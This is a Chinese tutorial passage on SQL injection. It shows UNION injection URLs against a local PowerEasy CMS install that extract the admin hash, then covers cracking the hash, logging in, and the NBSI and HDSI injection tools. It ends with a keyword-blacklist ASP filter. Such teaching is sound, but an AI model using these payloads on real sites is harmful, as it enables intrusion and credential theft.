SELECT DISTINCT City FROM PE_City WHERE Province=‘a’ and ‘a’=‘a’ 可以在数据中插入一个查询语句来查询密码,为此要用UNION语句。 首先查看动易的数据库结构,管理员的用户名和密码放在数据库的PE_Admin表中,AdminName是用户名字段,Password是管理员密码字段。要查询管理员用户名的SQL语句如下: Select AdminName From PE_Admin 用UNION语句将其整合到原来的语句中,即: SELECT DISTINCT City FROM PE_City WHERE Province=‘a’ Union Select AdminName From PE_Admin Where ‘a’=‘a’ 加黑部分是要提交的数据,根据其构造的URL为: http://127.0.0.1/powereasy/Region.asp?province=a' Union Select AdminName From PE_Admin where 'a'='a 提交这个地址,可以在“市/县/区/旗”的下拉列表框中看到用户名,如图1-29所示。 其中显示的管理员的用户名是“admin”。如果要查看管理员密码,只要把字段名改为密码字段名。构造的URL地址是http://127.0.0.1/powereasy/Region.asp?province=a' Union Select Password From PE_Admin where 'a'='a。如图1-30所示,可以看到密码是469e80d32c0559f8。 图1-29 用户名 图1-30 管理员密码 这是加密过的密码,在管理员登录时页面加密用户提交的密码后与数据库中的密码比较。 动易使用的是MD5加密方式,所以应该用一个MD5解密器来解密。这里推荐使用MD5 Crack,它是一款国产的多线程MD5解密器,解密速度很快。 打开如图1-31所示的MD5 Crack对话框,粘贴“469e80d32c0559f8”“破解单个密文”到文本框中,在“字符设置”选项组中选择可能用到的字符,也可以在“自定义”文本框中定义。因为一般情况下,用户密码不会有标点符号或特殊符号,所以为了节省时间,只选择“数字”、“大写字母”和“小写字母”复选框,还可以设置密码可能的长度和破解密码的线程数,线程数越大,破解速度越快。如果超出机器的承受能力,多线程反而会拖慢破解速度。 图1-31 MD5 Crack对话框 单击“开始”按钮,经过一段时间的等待后,破解的密码显示在右下角的文本框中,即admin888。尝试使用这个密码登录后台,如图1-32所示。 登录成功,说明破解密码成功,如图1-33所示。 图1-32 登录后台 图1-33 登录成功 至此,已经获得超级管理员的权限。入侵者可以删除网站的数据,也可以在网站发布任何信息,包括诱使网站的浏览者进入插入了木马的网页,其危害非常大。 1.1.8 常见的SQL注入漏洞检测工具 本节介绍一些常见的注入工具,利用它们可以减少猜解数据所花的时间和精力。 (1)NBSI NBSI是NB联盟的小竹编写的一款SQL自动注入工具,其功能非常强大。可以扫描注入点、自动猜解数据内容、分析IIS日志,并自定义关键字字典。其界面如图1-34所示。 图1-34 NBSI界面 把漏洞地址http://127.0.0.1/veryzone/announce.asp? id=16输入到 “注入地址”下拉列表框中,然后单击“检测”按钮。没有检测到漏洞,“检测”按钮的标题变为“再检测”。这是因为漏洞页面在附加条件不成立时没有内容,所以NBSI不能自动判断结果。在“特征字符”文本框中输入在条件成立时的页面中,条件不成立时没有的字符串,程序可以通过返回的页面有无“特征字符”来判断检测结果,如图1-35所示。 图1-35 检测结果 如图1-36所示,在“特征字符”文本框中输入hero字符串,单击“再检测”按钮。 图1-36 特征字符 程序已经确定网页存在漏洞,这时“检测”按钮不可用,下面的“猜解表名”按钮变为可用。 如图1-37所示,单击“猜解表名”按钮,会提示“数据库类型为ACCESS,系统将启用字典进行猜解。如果字典文件比较大,会花费较长的时间,您确认进行猜解?”。 图1-37 NBSI提示信息 单击“确定”按钮,就会看到如图1-38所示的结果。 图1-38 结果 稍候,在“已猜解表名”列表框中显示Y_admin,这是程序判断的数据库中有admin表。单击该表名,“猜解列名”按钮变为可用。单击该按钮,程序会猜解admin表中的列名,如图1-39所示。 图1-39 猜解admin表中的列名 稍后,“已猜解列名”列表框中显示Y_id、Y_username和Y_password,说明admin表中有id、username和password这3个字段存在。 选择字段名复选框,“猜解数据”按钮变为可用。单击“猜解数据”按钮,程序开始猜解这3个字段的数据内容,如图1-40所示。 图1-40 猜解字段的数据内容 稍后,在“已猜解记录”列表框中显示一条记录,单击它会在下面的列表框中显示详细的数据内容: [id]:8 [username]:admin [password]:7a57a5a743894a0e 用户名是admin,密码是7a57a5a743894a0e破解该密码的结果是admin。 (2)HDSI HDSI是教主(网络ID)开发的一款免费的网页安全性能检测工具,其中集成多种功能,是一个SQL注入利器。 该工具可以自动扫描注入点、注入猜解数据内容、扫描网站后台登录地址,以及对PHP进行注入。如果漏洞页面使用SQL Server数据库,还可以让服务器执行DOS命令并上传asp木马文件。其界面如图1-41所示。 进入“注入分析”页面,在“注入地址”文本框中输入漏洞地址http://127.0.0.1/veryzone/announce.asp?id=16选择“使用关键字”复选框,在“关键字”文本框中输入“hero”。单击“开始”按钮,就开始检测漏洞。 程序提示检测完毕,如图1-42所示。单击表名下方的“猜解”按钮,程序提示“启动ACCESS数据库猜解,也许要多花点时间,是否继续猜表?”。单击“确定”按钮,程序开始猜解表名。 图1-41 HDSI界面 图1-42 猜解ACCESS数据库 稍候,“已猜解表名”列表框中显示admin表。单击表名,然后单击列名下的“猜解”按钮开始猜解列名。然后猜解数据库中的记录,如图1-43所示。 类似的工具还有阿D注入工具、CSC、WED及Domain。Domain是一个旁注工具,旁注是注入技术中的一个分支。其入侵的基本思路是网站的服务器一般会有多个网站,如果在目标网站上找不到注入漏洞,可以尝试入侵同一台服务器中的其他网站。如果通过其他网站中的漏洞控制服务器,相当于得到了这个网站的控制权。
图1-43 猜解数据库中的记录 1.1.9 如何防御SQL注入攻击 对于一个网站来说,SQL注入漏洞的危害是巨大的。 SQL通用防注入系统的思路是把提交到页面的所有数据都过滤一遍, SQL注入提交的数据的特征是会有SQL语句及一些SQL语言的关键字,比如“AND”、“UNION”及“SELECT”等字符串。只要在数据中有这些字符串,即可判定为SQL注入行为,而不会把这个数据作为SQL语句。 以下是笔者根据这个思路模仿SQL通用防注入系统编写的代码: <% '--------定义部分------------------ Dim FangZhuPost,FangZhuGet,FangZhuIn,FangZhuInf,FangZhuXh '注释:自定义需要过滤的字串,用 "|" 分隔,如果读者发现遗漏,可以加上 FangZhuIn = "'|;|and|(|)|exec|insert|select|union|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
FangZhuInf = split(FangZhuIn,"|") ’注释:把非法字符串用“|”分割出来 '--------POST部分------------------ If Request.Form<>"" Then For Each FangZhuPost In Request.Form ’注释:循环取得提交的参数 For FangZhuXh=0 To Ubound(FangZhuInf) ’注释:全部转换成大写 If Instr(LCase(Request.Form(FangZhuPost)),FangZhuInf(FangZhuXh))<>0 Then ’注释:如果在数据中有非法字符串 Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"
Response.End End If Next Next End If '----------------------------------
'--------GET部分------------------- If Request.QueryString<>"" Then For Each FangZhuGet In Request.QueryString For FangZhuXh=0 To Ubound(FangZhuInf) If Instr(LCase(Request.QueryString(FangZhuGet)),FangZhuInf(FangZhuXh))<>0 Then Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"
Response.End End If Next Next End If %> 把这些代码保存在一个ASP文件中,比如fang.asp,并放在要防护的页面文件目录下。在要防护的页面开头加入一句<!-- #include file=“fang.asp” -->,保存并退出。 在浏览器中提交http://127.0.0.1/veryzone/announce.asp? id=16 and 1=1,显示如图1-44所示的提示框。 图1-44 提示框 如果参数中没有非法字符,页面可以正常显示,如图1-45所示。 图1-45 页面正常显示 这样可以杜绝SQL注入漏洞,不过这不是万全之策。因为这个代码是“通杀”的。即用户确实需要输入的一些数据会被作为非法字符串处理,这种情况目前还没有更好的办法来解决,只能让用户输入其他字符串来代替。 |
SQL注入攻击研究
最新推荐文章于 2024-08-05 22:55:20 发布